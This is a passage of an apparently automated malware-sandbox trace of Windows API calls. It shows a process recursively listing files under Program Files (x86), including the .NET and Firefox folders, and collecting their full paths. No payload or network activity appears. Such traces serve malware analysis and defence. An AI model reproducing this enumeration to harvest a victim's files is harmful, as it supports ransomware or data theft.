hFindFile=0x775d18) returned 1 [0040.147] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.147] lstrcmpW (lpString1="Microsoft.NET", lpString2=".") returned 1 [0040.147] lstrcmpW (lpString1="Microsoft.NET", lpString2="..") returned 1 [0040.148] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.148] lstrlenW (lpString="Microsoft.NET") returned 13 [0040.148] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft.NET" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET") returned="c:\\Program Files (x86)\\Microsoft.NET" [0040.148] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\" [0040.148] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0040.148] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\*" [0040.148] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.148] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.148] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.148] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.148] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.148] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.148] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2=".") returned 1 [0040.148] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2="..") returned 1 [0040.148] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0040.148] lstrlenW (lpString="Primary Interop Assemblies") returned 26 [0040.148] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="Primary Interop Assemblies" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0040.148] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\" [0040.148] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0040.148] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*" [0040.148] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.148] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.148] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.148] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.148] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.148] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.149] lstrcmpW (lpString1="adodb.dll", lpString2=".") returned 1 [0040.149] lstrcmpW (lpString1="adodb.dll", lpString2="..") returned 1 [0040.149] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0040.149] lstrlenW (lpString="adodb.dll") returned 9 [0040.149] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0040.149] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned 73 [0040.149] lstrcpyW (in: lpString1=0x5e19e0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0040.149] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.149] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2=".") returned 1 [0040.149] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2="..") returned 1 [0040.149] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0040.149] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20 [0040.149] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0040.149] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned 84 [0040.149] lstrcpyW (in: lpString1=0x5e1a80, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0040.149] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.149] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2=".") returned 1 [0040.149] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2="..") returned 1 [0040.149] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0040.149] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23 [0040.149] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0040.149] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned 87 [0040.149] lstrcpyW (in: lpString1=0x5e1b38, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0040.149] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.149] lstrcmpW (lpString1="msdatasrc.dll", lpString2=".") returned 1 [0040.149] lstrcmpW (lpString1="msdatasrc.dll", lpString2="..") returned 1 [0040.149] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0040.149] lstrlenW (lpString="msdatasrc.dll") returned 13 [0040.149] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0040.149] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned 77 [0040.149] lstrcpyW (in: lpString1=0x5e1bf0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0040.149] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.149] lstrcmpW (lpString1="stdole.dll", lpString2=".") returned 1 [0040.149] lstrcmpW (lpString1="stdole.dll", lpString2="..") returned 1 [0040.149] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0040.149] lstrlenW (lpString="stdole.dll") returned 10 [0040.149] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0040.149] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned 74 [0040.149] lstrcpyW (in: lpString1=0x5e1c98, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0040.149] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.149] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.150] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.150] lstrcmpW (lpString1="RedistList", lpString2=".") returned 1 [0040.150] lstrcmpW (lpString1="RedistList", lpString2="..") returned 1 [0040.150] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0040.150] lstrlenW (lpString="RedistList") returned 10 [0040.150] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="RedistList" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0040.150] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0040.150] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0040.150] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*" [0040.150] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.150] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.150] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.150] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.150] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.150] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.150] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2=".") returned 1 [0040.150] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2="..") returned 1 [0040.150] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0040.150] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25 [0040.150] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0040.150] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned 73 [0040.150] lstrcpyW (in: lpString1=0x5e1d38, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0040.150] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.150] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2=".") returned 1 [0040.150] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2="..") returned 1 [0040.150] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0040.150] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27 [0040.150] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0040.150] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned 75 [0040.150] lstrcpyW (in: lpString1=0x5e1dd8, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0040.150] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.150] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.150] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.150] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.151] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.151] lstrcmpW (lpString1="Mozilla Firefox", lpString2=".") returned 1 [0040.151] lstrcmpW (lpString1="Mozilla Firefox", lpString2="..") returned 1 [0040.151] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.151] lstrlenW (lpString="Mozilla Firefox") returned 15 [0040.151] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Firefox" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox") returned="c:\\Program Files (x86)\\Mozilla Firefox" [0040.151] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\" [0040.151] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.151] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\*" [0040.151] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.151] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.151] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.151] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.151] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.151] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.151] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2=".") returned 1 [0040.151] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2="..") returned 1 [0040.151] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.151] lstrlenW (lpString="AccessibleMarshal.dll") returned 21 [0040.151] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0040.151] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned 60 [0040.151] lstrcpyW (in: lpString1=0x5e1e90, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0040.151] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.151] lstrcmpW (lpString1="application.ini", lpString2=".") returned 1 [0040.151] lstrcmpW (lpString1="application.ini", lpString2="..") returned 1 [0040.151] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.151] lstrlenW (lpString="application.ini") returned 15 [0040.151] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0040.151] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned 54 [0040.151] lstrcpyW (in: lpString1=0x5e08d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0040.151] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.151] lstrcmpW (lpString1="breakpadinjector.dll", lpString2=".") returned 1 [0040.151] lstrcmpW (lpString1="breakpadinjector.dll", lpString2="..") returned 1 [0040.151] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.151] lstrlenW (lpString="breakpadinjector.dll") returned 20 [0040.151] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0040.151] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned 59 [0040.151] lstrcpyW (in: lpString1=0x5e3e78, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0040.151] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.151] lstrcmpW (lpString1="browser", lpString2=".") returned 1 [0040.151] lstrcmpW (lpString1="browser", lpString2="..") returned 1 [0040.152] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.152] lstrlenW (lpString="browser") returned 7 [0040.152] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="browser" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser" [0040.152] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\" [0040.152] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0040.152] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*" [0040.152] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.152] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.152] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.152] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.152] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.152] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.152] lstrcmpW (lpString1="blocklist.xml", lpString2=".") returned 1 [0040.152] lstrcmpW (lpString1="blocklist.xml", lpString2="..") returned 1 [0040.152] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0040.152] lstrlenW (lpString="blocklist.xml") returned 13 [0040.152] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0040.152] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned 60 [0040.152] lstrcpyW (in: lpString1=0x5e1f18, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0040.152] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.152] lstrcmpW (lpString1="chrome.manifest", lpString2=".") returned 1 [0040.152] lstrcmpW (lpString1="chrome.manifest", lpString2="..") returned 1 [0040.152] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0040.152] lstrlenW (lpString="chrome.manifest") returned 15 [0040.152] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0040.152] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned 62 [0040.152] lstrcpyW (in: lpString1=0x5e1fa0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0040.152] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.152] lstrcmpW (lpString1="components", lpString2=".") returned 1 [0040.153] lstrcmpW (lpString1="components", lpString2="..") returned 1 [0040.153] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0040.153] lstrlenW (lpString="components") returned 10 [0040.153] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="components" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" [0040.153] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.153] lstrcmpW (lpString1="crashreporter-override.ini", lpString2=".") returned 1 [0040.153] lstrcmpW (lpString1="crashreporter-override.ini", lpString2="..") returned 1 [0040.153] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0040.153] lstrlenW (lpString="crashreporter-override.ini") returned 26 [0040.153] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0040.153] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned 73 [0040.153] lstrcpyW (in: lpString1=0x5e3ef8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0040.153] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.153] lstrcmpW (lpString1="extensions", lpString2=".") returned 1 [0040.153] lstrcmpW (lpString1="extensions", lpString2="..") returned 1 [0040.153] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0040.153] lstrlenW (lpString="extensions") returned 10 [0040.153] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="extensions" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" [0040.153] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.153] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0040.153] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0040.153] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0040.153] lstrlenW (lpString="omni.ja") returned 7 [0040.153] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0040.153] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned 54 [0040.153] lstrcpyW (in: lpString1=0x5e0948, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0040.153] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.153] lstrcmpW (lpString1="searchplugins", lpString2=".") returned 1 [0040.153] lstrcmpW (lpString1="searchplugins", lpString2="..") returned 1 [0040.153] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0040.153] lstrlenW (lpString="searchplugins") returned 13 [0040.153] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="searchplugins" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" [0040.153] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.153] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.154] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.154] lstrcmpW (lpString1="crashreporter.exe", lpString2=".") returned 1 [0040.154] lstrcmpW (lpString1="crashreporter.exe", 